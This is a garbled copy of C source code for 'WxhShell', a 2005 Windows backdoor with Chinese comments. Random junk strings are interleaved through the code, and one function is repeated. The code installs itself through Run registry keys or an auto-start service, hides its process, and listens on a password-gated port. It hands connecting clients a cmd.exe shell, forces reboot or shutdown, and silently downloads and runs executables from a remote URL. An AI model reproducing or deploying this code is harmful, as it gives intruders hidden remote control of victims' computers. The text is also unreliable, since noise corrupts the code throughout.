JF0j ULONG UniqueProcessId; !c1M{klP ULONG InheritedFromUniqueProcessId; S' kgpF"bm } PROCESS_BASIC_INFORMATION; O`"~AY& +!E9$U>6% PROCNTQSIP NtQueryInformationProcess; ]!@=2kG4 RA[%8Rh) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |WEl5 bNc3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X!mJUDzh] u[Si=)`VPk HANDLE hProcess; `JpFqZ'58 PROCESS_BASIC_INFORMATION pbi; 6vR6=@(`> }qhYHC HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }!R*Q`m if(NULL == hInst ) return 0; -2 >s#/% o 9/,@Ri\5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c5b}q@nH g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,\c V,$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 32?'jRN(ue / o
I 4&W if (!NtQueryInformationProcess) return 0; /3K)$Er 19c_=$mV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &qWB\m if(!hProcess) return 0; >]ZE<. P}UxA! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H9_iTGBQ 2f@Cy+W'[ CloseHandle(hProcess); m'"H1~BW l>`66~+s,` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }^$1<GT if(hProcess==NULL) return 0; 79@CO6 B{D4.!a HMODULE hMod; a:`<=^:4, char procName[255]; a$Y{ut0t( unsigned long cbNeeded; T*PEUq dcD#!v\0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kWVk^, iLNUydiS CloseHandle(hProcess); [ }Tb2| b1jDbiH& if(strstr(procName,"services")) return 1; // 以服务启动 k ,+,,W PnInsf%; return 0; // 注册表启动 q5= ,\S3= } ]1W xa? z rG // 主模块 VPuR4p. int StartWxhshell(LPSTR lpCmdLine) CfP-oFHoQ { 3S]QIZ1 SOCKET wsl; %.r\P@7/Q BOOL val=TRUE; p9u*l int port=0; A%HIfSzQBS struct sockaddr_in door; $p4e8j[EJ G9LWnyQt if(wscfg.ws_autoins) Install(); 6kLy!QS /j}Tv.'d port=atoi(lpCmdLine); +Ln^<!P GD]epr%V if(port<=0) port=wscfg.ws_port; b @0=&4 /.CS6W^z WSADATA data; %=9o'Y,4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X'
5R4j @KU;'th if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1zH?.- setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'N+;{8C-{ door.sin_family = AF_INET; W&R67ff| door.sin_addr.s_addr = inet_addr("127.0.0.1"); @48!e-W door.sin_port = htons(port); R6oD \G>C{v; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5[jS(1a`c closesocket(wsl); 5X+`aB return 1; }F!Uu
KR } N{Z+ ej&.tNvq if(listen(wsl,2) == INVALID_SOCKET) { ,52 IR[I<T closesocket(wsl); [f6BA|
return 1; amC)t8L? } Nc{&AV8Y_v Wxhshell(wsl); fxoEK}TM WSACleanup(); 0E!-G= v h8 N|m0W return 0; 5R~M@ 5$'[R;r } 1G5AL2 G~(\N?2 // 以NT服务方式启动 t,JX6ni VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .24z+|j { 43B0ynagN DWORD status = 0; sL~4~178 DWORD specificError = 0xfffffff; ;<Hk Cd ."^\1N(.n serviceStatus.dwServiceType = SERVICE_WIN32; UCfouQ Cj serviceStatus.dwCurrentState = SERVICE_START_PENDING; W}TP(~x'N serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (?R!y - serviceStatus.dwWin32ExitCode = 0; M(K7xx+G serviceStatus.dwServiceSpecificExitCode = 0; .\ fpjQW serviceStatus.dwCheckPoint = 0; ?{aJ#w serviceStatus.dwWaitHint = 0; rC_1f3A pgh(~[ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yTg|L9 if (hServiceStatusHandle==0) return; U\:Y*Ai @9_mk@ status = GetLastError(); {G x=QNd if (status!=NO_ERROR) IAwS39B { a`%`9GD serviceStatus.dwCurrentState = SERVICE_STOPPED; d/OP+yzgZ serviceStatus.dwCheckPoint = 0; e3TKQ( serviceStatus.dwWaitHint = 0; Q~Mkf&s serviceStatus.dwWin32ExitCode = status; [O&}Qk serviceStatus.dwServiceSpecificExitCode = specificError; 2p](`Y` SetServiceStatus(hServiceStatusHandle, &serviceStatus); S%}G 8Ty return; v"ORn5 } T5zS3O K=JDl-#! serviceStatus.dwCurrentState = SERVICE_RUNNING; %E&oe $[B serviceStatus.dwCheckPoint = 0; v/rBjUc+X serviceStatus.dwWaitHint = 0; dt"/4wCO if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E9j<+Ik } -_5Dk'R#` ZM -P // 处理NT服务事件,比如:启动、停止 :2S?|7U4 VOID WINAPI NTServiceHandler(DWORD fdwControl) L+%kibnY' { b:hta\%/2 switch(fdwControl) ydO+=R0M { EF\OM?R case SERVICE_CONTROL_STOP: WXmfh serviceStatus.dwWin32ExitCode = 0; *6AV^^ serviceStatus.dwCurrentState = SERVICE_STOPPED; *`u|1}h| serviceStatus.dwCheckPoint = 0; iw/~t serviceStatus.dwWaitHint = 0; a'jUM+D; { /"D,gn1S* SetServiceStatus(hServiceStatusHandle, &serviceStatus); lkTA"8d } iv +a5 return; bH/4f93Nb case SERVICE_CONTROL_PAUSE: =-:%~ng serviceStatus.dwCurrentState = SERVICE_PAUSED; u3O@ccJ; break; mih}?oi case SERVICE_CONTROL_CONTINUE: Lr:n serviceStatus.dwCurrentState = SERVICE_RUNNING; B//*hH >F break; z/4<x?}+hE case SERVICE_CONTROL_INTERROGATE: )SJM:E break; G-9i }; 96~y\X@x SetServiceStatus(hServiceStatusHandle, &serviceStatus); LJPJENtFIs } "zY~*3d (BP p2^ // 标准应用程序主函数 8=L"rekV_ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {v]L|e%{ { B3&C&o.h ddKP3} // 获取操作系统版本 BT8)t.+pv OsIsNt=GetOsVer(); :s_.K'4?a GetModuleFileName(NULL,ExeFile,MAX_PATH); : H;S"D iE"]S ) // 从命令行安装 ;y\/7E if(strpbrk(lpCmdLine,"iI")) Install(); )u{]rb[ |=YK2}; // 下载执行文件 _|12BVq if(wscfg.ws_downexe) { 8e>B>'nH if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jXf@JxQ WinExec(wscfg.ws_filenam,SW_HIDE); )e3w-es~4 } ZYWGP:Y &v((tZ if(!OsIsNt) { i*:QbMb // 如果时win9x,隐藏进程并且设置为注册表启动 rbdrs HideProc(); @H#Fzoo. StartWxhshell(lpCmdLine); ,}'8.
f } oH0g>E; else jnOnV1I" if(StartFromService()) Lw[=pe0e // 以服务方式启动 5\h 6"/6Df StartServiceCtrlDispatcher(DispatchTable); lBFKfLp& else RN)XIf$@_ // 普通方式启动 r&a}U6k(y StartWxhshell(lpCmdLine); Wfd`v S`5bcxI_ return 0; l VD{Y`) } Za!KM `mteU"{bx R_/;U&R :$u[1&6 =========================================== 6~0kb_td cKkH*0B5 ~L<"]V+B d'MZ%.# QObVJg,GD 02[m{a- " Q?1.GuF a_}C*+D #include <stdio.h> \K\eq>@6 #include <string.h> R7(XDX=[s #include <windows.h> &PV%=/-J #include <winsock2.h>
N#9N ^#1 #include <winsvc.h> ej_u):G* #include <urlmon.h> #KoI8U" |g}r #pragma comment (lib, "Ws2_32.lib") 8*/;W&7y #pragma comment (lib, "urlmon.lib") azIhp{rHw i@rUZYF #define MAX_USER 100 // 最大客户端连接数 l#v52 #define BUF_SOCK 200 // sock buffer z{ eZsh
b #define KEY_BUFF 255 // 输入 buffer jSvq1$U f:\)!
&W #define REBOOT 0 // 重启 [n/c7Pe #define SHUTDOWN 1 // 关机 /
S' + S'|PA7a}h #define DEF_PORT 5000 // 监听端口 o NA ]G] $S<B\\
% #define REG_LEN 16 // 注册表键长度 "AjC2P], #define SVC_LEN 80 // NT服务名长度 h@O\j&# ",aNYJR>*! // 从dll定义API `]l`t"x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B<BS^waU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0/DO"pnL@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ng;?hT w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6X A(<1P 7W SP0Xyz // wxhshell配置信息 C=oeRc'r1W struct WSCFG { AlDp+"| int ws_port; // 监听端口 +|g*<0T5< char ws_passstr[REG_LEN]; // 口令 rQT%~oM: int ws_autoins; // 安装标记, 1=yes 0=no LYYz=oZOE! char ws_regname[REG_LEN]; // 注册表键名 0U%tjYk( char ws_svcname[REG_LEN]; // 服务名 D`G; C char ws_svcdisp[SVC_LEN]; // 服务显示名 :I&y@@UG char ws_svcdesc[SVC_LEN]; // 服务描述信息 _XP}fx7$C char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mYo~RXKGF int ws_downexe; // 下载执行标记, 1=yes 0=no L9e<hRZ$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3HuocwWbz char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *ezMS ^#e|^]]
L }; %-fXa2 36co'a4, // default Wxhshell configuration {_(R?V]w, struct WSCFG wscfg={DEF_PORT, tH0x| "xuhuanlingzhe", ?QFxds 1, "9[2vdSX "Wxhshell", ,OwTi:yDr "Wxhshell", b7^q(}qE "WxhShell Service", H~JgZ pw "Wrsky Windows CmdShell Service", {Lv"wec*x "Please Input Your Password: ", khR[8j.. 1, .53 M! "http://www.wrsky.com/wxhshell.exe", ) P9]/y "Wxhshell.exe" s%R,]q }; M1/(Xla3 'C7R*
P // 消息定义模块 aO}hE2] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <L8FI78[* char *msg_ws_prompt="\n\r? for help\n\r#>"; i75\<X char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e%ro7~ char *msg_ws_ext="\n\rExit."; .'66]QW char *msg_ws_end="\n\rQuit.";
I__b$ char *msg_ws_boot="\n\rReboot..."; TT(R<hL char *msg_ws_poff="\n\rShutdown..."; PJm@fK(j char *msg_ws_down="\n\rSave to "; a,4GE' Zp[>[1@+ char *msg_ws_err="\n\rErr!"; Ii}{{1N6 char *msg_ws_ok="\n\rOK!"; go=xx.WJ yR{rje* char ExeFile[MAX_PATH]; ))dqC l int nUser = 0; '$p`3Oqi HANDLE handles[MAX_USER]; 56kqG}mg& int OsIsNt; iu<Tv,{8 _VgFuU$h SERVICE_STATUS serviceStatus; X4\T=Q?uLx SERVICE_STATUS_HANDLE hServiceStatusHandle; a"Iu!$&N oVP,ar0G // 函数声明 T[e+iv<8j int Install(void); W!" $g int Uninstall(void); v~AshmP int DownloadFile(char *sURL, SOCKET wsh); k
t!@}QP int Boot(int flag); I_Lm[ void HideProc(void); :/SGB3gb1t int GetOsVer(void); X7K{P_5l int Wxhshell(SOCKET wsl); I8@leT\9M void TalkWithClient(void *cs); '-f` 5 X int CmdShell(SOCKET sock); _&gO>G,uy int StartFromService(void); wpN [0^M-0 int StartWxhshell(LPSTR lpCmdLine); &.2%p 5G'2 Wby'# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a(fiW%eFb VOID WINAPI NTServiceHandler( DWORD fdwControl ); }+`,AC`RM Q:
-& // 数据结构和表定义 46
0/eW\ SERVICE_TABLE_ENTRY DispatchTable[] = 7Cz=; { d^~yUk {wscfg.ws_svcname, NTServiceMain},
Rq2bj_ j {NULL, NULL} h*<`ct xL }; .#tA .%
!a V:T&6 // 自我安装 5G2ueRVb int Install(void) < <0[PJ { >\'}&oi char svExeFile[MAX_PATH]; {%('|(57 HKEY key; 8f~*T strcpy(svExeFile,ExeFile); !W&|kvT^ tr0kTW$Ad // 如果是win9x系统,修改注册表设为自启动 =C(BZ+-^ if(!OsIsNt) { ]YZ_kc^(V; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F&7Z( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vnbY^ASdw RegCloseKey(key); t6e6v=.Pg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y/m-EL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rcLF:gd]E RegCloseKey(key); +DefV,Ny return 0; $u,A/7\s } B&KIM{j\ } BUi,+NdIk } Cv>~%< else { h0 %M+g #NMQN*J>D // 如果是NT以上系统,安装为系统服务 }YC=q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w0yzC0yBk if (schSCManager!=0) `;R$Ji=> { I%[Tosud< SC_HANDLE schService = CreateService K4|fmgcy. ( ebL0cK? schSCManager, 75P!`9bE wscfg.ws_svcname, -;
d{}F wscfg.ws_svcdisp, 7?_gm>]a SERVICE_ALL_ACCESS, k&K'FaM! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {<Y!'WL{ SERVICE_AUTO_START, r4 5}o SERVICE_ERROR_NORMAL, !p36OEx svExeFile, XH!n{Of NULL, lt5Knz2G,Z NULL, $mq+/|bn NULL, MfI+o<{r NULL, .VmRk9Z NULL *fy aAv ); ,5~C($-t if (schService!=0) 9w0v?%%_ { &'i.W}Ib! CloseServiceHandle(schService); "f3mi[ CloseServiceHandle(schSCManager); f@Ve,i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gm:Y@6W strcat(svExeFile,wscfg.ws_svcname); u
XZ ;K. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8 f~M6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ':\bn:; RegCloseKey(key); $K\;sn; |: return 0; \Yv44*I` } md9JvbB } 4/SltWU CloseServiceHandle(schSCManager); *ZRk) } 6khm@}} } W8]?dL}| Qe9}%k6@E return 1; 7<8'7<X } [
f<g?w 4w 7vgB // 自我卸载 .",BLuce int Uninstall(void) b?M. 0{"H { BT -Y9j HKEY key; ]P^3uXi 8JMxA2tZhG if(!OsIsNt) { cqb6] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hJ4 A5m. RegDeleteValue(key,wscfg.ws_regname); u!VrMH RegCloseKey(key); ;'!h(H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I[06R RegDeleteValue(key,wscfg.ws_regname); 2of+KI: RegCloseKey(key); Dn>C
:YS` return 0; .lz=MUR } ~(rZ) } {@"
F/G+ } g'-hSV/@}@ else { tM:$H6m/( 6k7x7z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dleLX%P if (schSCManager!=0) IMy!8$\u { %~Ymb&ugg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Cq\{\!6[ if (schService!=0) VdL }$CX$ { UG]5Dxk if(DeleteService(schService)!=0) { W,t`DMC CloseServiceHandle(schService); yS#D$q2_ CloseServiceHandle(schSCManager); 5RSP.Vyx{ return 0; `;Fs } sY}0PB CloseServiceHandle(schService); 4]cr1K
^ } D_w<igu!3 CloseServiceHandle(schSCManager); ;O .;i,#Z } *unJd"<*&@ } _z"\3hZ Z= pvoTY return 1; PB{5C*Y7^k } Dx P65wU $*9:a3>zny // 从指定url下载文件 /hGu42YG int DownloadFile(char *sURL, SOCKET wsh) 1Zp^X:( { `|[UF^9 HRESULT hr; HN&]`cr; char seps[]= "/"; *^\u%Ir" char *token; Vgj[m4l char *file; 1!ijRr char myURL[MAX_PATH]; .m%ygoO char myFILE[MAX_PATH]; c
8|&Q 0gKSjTqo strcpy(myURL,sURL); ~Z97L token=strtok(myURL,seps); MG,?,1_ & while(token!=NULL) t$uj( y> { OF(tCK file=token; KZ/2W9r_, token=strtok(NULL,seps); Y;sN UX } ,fs>+]UY3 ?=Mg"QU GetCurrentDirectory(MAX_PATH,myFILE); M[=sQnnSFW strcat(myFILE, "\\"); G^\.xk] strcat(myFILE, file); g$Nsu:L send(wsh,myFILE,strlen(myFILE),0); ;q2e[ y send(wsh,"...",3,0); n{%[G2.A hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d]l(B+\vf if(hr==S_OK) 8qq'q"g return 0; GYri\ <[ else xC$CRzAe5p return 1; HD}3mP *C^`+*}OE$ } *3y:Wv T> f87lm*wZ // 系统电源模块 YYd!/@|N5 int Boot(int flag) Snas:#B! { g6q67m<h HANDLE hToken;
] 2lhJ TOKEN_PRIVILEGES tkp; @p7*JLO F[oTc^dr if(OsIsNt) { !*B1Eo--cN OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]1KF3$n0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4--[.j*W tkp.PrivilegeCount = 1; n{.SNipU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }{) >aJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :YN,cI d* if(flag==REBOOT) { %R*-oQ1T if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yLCJSN$7 return 0; 9jt+PII } =MMSmu5! else { <o_(,,P% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :#spL*FIx return 0; 7cT ~u } _O>8jH!# } +C9l7 q else { HY'-P&H5( if(flag==REBOOT) { q*K.e5"' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o[K,( return 0; |1"n\4$ } {o.i\"x; else { +#
tmsv]2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VH$hQPP5d return 0; ]s:%joj%^ } #vvQ1ub } AU^5N3%j !qVnziE,, return 1; 8 gzf$Oc } $r=tOD4; /%T d( // win9x进程隐藏模块 .t|B6n! void HideProc(void) VpmD1YSn { '"Y(2grP CN<EgNt1kN HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i@#fyU)[G if ( hKernel != NULL ) $"]*,=-X { <Yy|.=6 D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y j C@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :/'oh]T| FreeLibrary(hKernel); +HNM$yp } $/;;}|hqi InR/g@n+D1 return; d,caO E8N } JQ]A"xTIa* WkR=(dss8 // 获取操作系统版本 )Fh5*UC int GetOsVer(void) H)O I&? { yMbg1+:
OSVERSIONINFO winfo; ;*XH[>I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @a}jnl(2 GetVersionEx(&winfo); n|f Huv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +yo1&b R/ return 1; = F"vL else z;ko ) return 0; a EmLf } ,fW%Qv C{8(ew // 客户端句柄模块 lr_c int Wxhshell(SOCKET wsl) P+t`Rw { Ov PTgiI!N SOCKET wsh; |(\T;~7' struct sockaddr_in client; @fG'X
DWORD myID; rWB/#m c.eA]m q while(nUser<MAX_USER) fjm(C#^- { %?z8*G]M int nSize=sizeof(client); Ea\Khf]2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p;<brwN if(wsh==INVALID_SOCKET) return 1; YPNG9^Y Tg~SGAc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |#?:KvU97E if(handles[nUser]==0) #J09Eka;J closesocket(wsh); ZQY?wO: [ else D>efr8Qd@ nUser++; s'JbG&T[J } yRv4,{B}X> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G2BB]] m3 Kk9W=vd return 0; s'Wu \r' } n!$zO{P A9\(vxxOpC // 关闭 socket W 2.Ap void CloseIt(SOCKET wsh) UY$Lqe~ { 7F @#6 closesocket(wsh); tzV^.QWm nUser--; 9B<aYp) ExitThread(0); 4RoE>m1[G } g,]GzHV1 Ek%mX" // 客户端请求句柄 XlDN)b5v{ void TalkWithClient(void *cs) `4kVe= { { ].r~?9'/ {IA3`y~ SOCKET wsh=(SOCKET)cs; ::R5F4 char pwd[SVC_LEN]; \qj(`0HG char cmd[KEY_BUFF]; e'0BP,\f_} char chr[1]; |Pj]sh[^Y int i,j; AD^Q`7K?uR !$L~/<&0g while (nUser < MAX_USER) { FH7h?!|t ee\QK,QV if(wscfg.ws_passstr) { #$0*Gd-N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -"~XI~a@Wo //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {7Q)2NC //ZeroMemory(pwd,KEY_BUFF); b:t|9FE% i=0; ^R7|x+ while(i<SVC_LEN) { oo2CF!Xy <<l1zEf@ // 设置超时 >PmnR>x-rj fd_set FdRead; S";c7s struct timeval TimeOut; 7X`]}z4g FD_ZERO(&FdRead); !THa?U; FD_SET(wsh,&FdRead); c%@<
h6 TimeOut.tv_sec=8; Ssg1p#0J TimeOut.tv_usec=0; bAS/cuZs int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jy?; < if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }^tW's8 B3g#) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <e'/z3TbRW pwd=chr[0]; L-eO_tTh0 if(chr[0]==0xd || chr[0]==0xa) { ve f9*u` pwd=0; {u)>W@Lr break; SS*3Qx:[ } L~|_C Rw i++; @<`P-+m } #G!\MYfQt B|SE | // 如果是非法用户,关闭 socket DA_}pS" if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c$^~7.~{Qy } '|J~2rbyr ^ DCBL&I send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x|`BF%e/v send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t0.71( _Nacqa while(1) { TY;%nT ,xI
FF-[0 ZeroMemory(cmd,KEY_BUFF); 9v@P|
z07Xj%zX9 // 自动支持客户端 telnet标准 i62GZeE j=0; PvB{@82 while(j<KEY_BUFF) { +;/ s0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D=@bP B> cmd[j]=chr[0]; hg2UZ%
Y if(chr[0]==0xa || chr[0]==0xd) { 10IX84 cmd[j]=0; !xvAy3 break; W$xW9u8@+( } F4PWL|1 j++; t Z@OAPRx } )|wC 1J!L =A{s,UP // 下载文件 Pl\NzB,` if(strstr(cmd,"http://")) {
Ruv`yfQ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 21[=xboU if(DownloadFile(cmd,wsh)) 7sq15oL send(wsh,msg_ws_err,strlen(msg_ws_err),0); z-N
N(G+ else >!MRk[@
V- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xSrjN } wC?>,LOl else { lk.Mc6) bT15jNa switch(cmd[0]) { r;_*.|AH GBY{O2!3u // 帮助 w8cbhc case '?': { ,H>'1~q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mO2u9?N break; _%G;^ b }
~S\8 ' // 安装 5a&BgBO1M case 'i': { y({lE3P if(Install()) pi5DDK send(wsh,msg_ws_err,strlen(msg_ws_err),0); [<WoXS1LX else [ J4n% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uCoy~kt292 break; ny:/a } RTr"#[ // 卸载 I]a [Ngj case 'r': { t:"%d9]
if(Uninstall()) P'^& SK send(wsh,msg_ws_err,strlen(msg_ws_err),0); MM6PaD{ else -"rANP-UI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4%#q.qI break; c#-*]6x }
&H[7UyC // 显示 wxhshell 所在路径 QXW>}GdKZ case 'p': { qOv`&%txW char svExeFile[MAX_PATH]; >XxHp strcpy(svExeFile,"\n\r"); P*n/qj8h strcat(svExeFile,ExeFile); o8Yq3N + send(wsh,svExeFile,strlen(svExeFile),0); G
> t break; 1zgM$p } Pkv+^[(4 // 重启 Rn)fwGC case 'b': { OIDP#K send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4~1lP&
if(Boot(REBOOT)) 6^lix9q7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0?cJ>)N else { $,B;\PX closesocket(wsh); q07H{{h/B ExitThread(0); UF$O@l } "7eL& break; Ehxu`>@N } :D4'x{#H // 关机 ]FgKL0 case 'd': { iBwM]Eyv. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H@b4(6
if(Boot(SHUTDOWN)) nok-![ send(wsh,msg_ws_err,strlen(msg_ws_err),0); "'C5B>qO else { 9h/Hy aN closesocket(wsh); .>Qa3,v5 ExitThread(0); 3m$ck$ } axOEL:-|Bu break; Y<V$3h } t37<<5A // 获取shell N<b~,[yCd> case 's': { &8I}q]'k CmdShell(wsh); SLRF\mh!L closesocket(wsh); \AIFIy ExitThread(0); /P Tq. break; vqZBDQ0 } t)= dKC // 退出 $+PyW(
r case 'x': { ?L0 |$#Iw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X` J86G ) CloseIt(wsh); B*t1Y<>x break; Z1Qv>@u } K>C@oE[W // 离开 0Y:)$h2? case 'q': { $ w+.-Tr send(wsh,msg_ws_end,strlen(msg_ws_end),0); =sAU5Ag68 closesocket(wsh); Z*ag{N WSACleanup(); r`\@Fv, exit(1); fjy7 gC2 break; [jksOC)@4 } 7dv! } =dsEt\
j } yZN~A: o/Q|R+yXV // 提示信息 "
%qr*| if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :K 5?&kT } wWSo+40 } 1xu~@v60 ]s!id[j return; 94^b"hU } 7&D)+{g CO9PQ`9+ // shell模块句柄 ?rA3<j int CmdShell(SOCKET sock) *nc3A[B#C { f'w`< STARTUPINFO si; {> <1K6t ZeroMemory(&si,sizeof(si)); 7XLqP si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rxqSi0p si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .6C6ZUB; PROCESS_INFORMATION ProcessInfo; _]- 4UA- char cmdline[]="cmd"; I9Uj3cL\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G&@dJ &B return 0; QBG jH^kL } I ~^Xw7 !XM<`H/ // 自身启动模式 uE<8L(*B int StartFromService(void) ^B%c3U$o { g"k4Z typedef struct 2r;h"> { ca3SE^ DWORD ExitStatus; q"6$#o{~U DWORD PebBaseAddress; IUDH"~f DWORD AffinityMask; ~Uey'Xz DWORD BasePriority; ijUu{PG`X ULONG UniqueProcessId; _/'VD!(MV ULONG InheritedFromUniqueProcessId; T?QW$cU!e: } PROCESS_BASIC_INFORMATION; @56*r@4:q 6yO5{._M PROCNTQSIP NtQueryInformationProcess; ~( 0bqt3c u{h67N static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; znSlSQpTv static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I$p1^8~L <QO1Yg7} HANDLE hProcess; 0kNKt(_ PROCESS_BASIC_INFORMATION pbi; D4C:%D O9E:QN<U`* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^<;CIXo if(NULL == hInst ) return 0; EpQy;#=; aSu^ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LnKgT1 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Aj=GekX{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !h|,wq]k ,Q3OQ[Nmh if (!NtQueryInformationProcess) return 0; MBU|<tc ;']u}Nh hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *W2)!C| if(!hProcess) return 0; 4(VV@:_% ExSM=
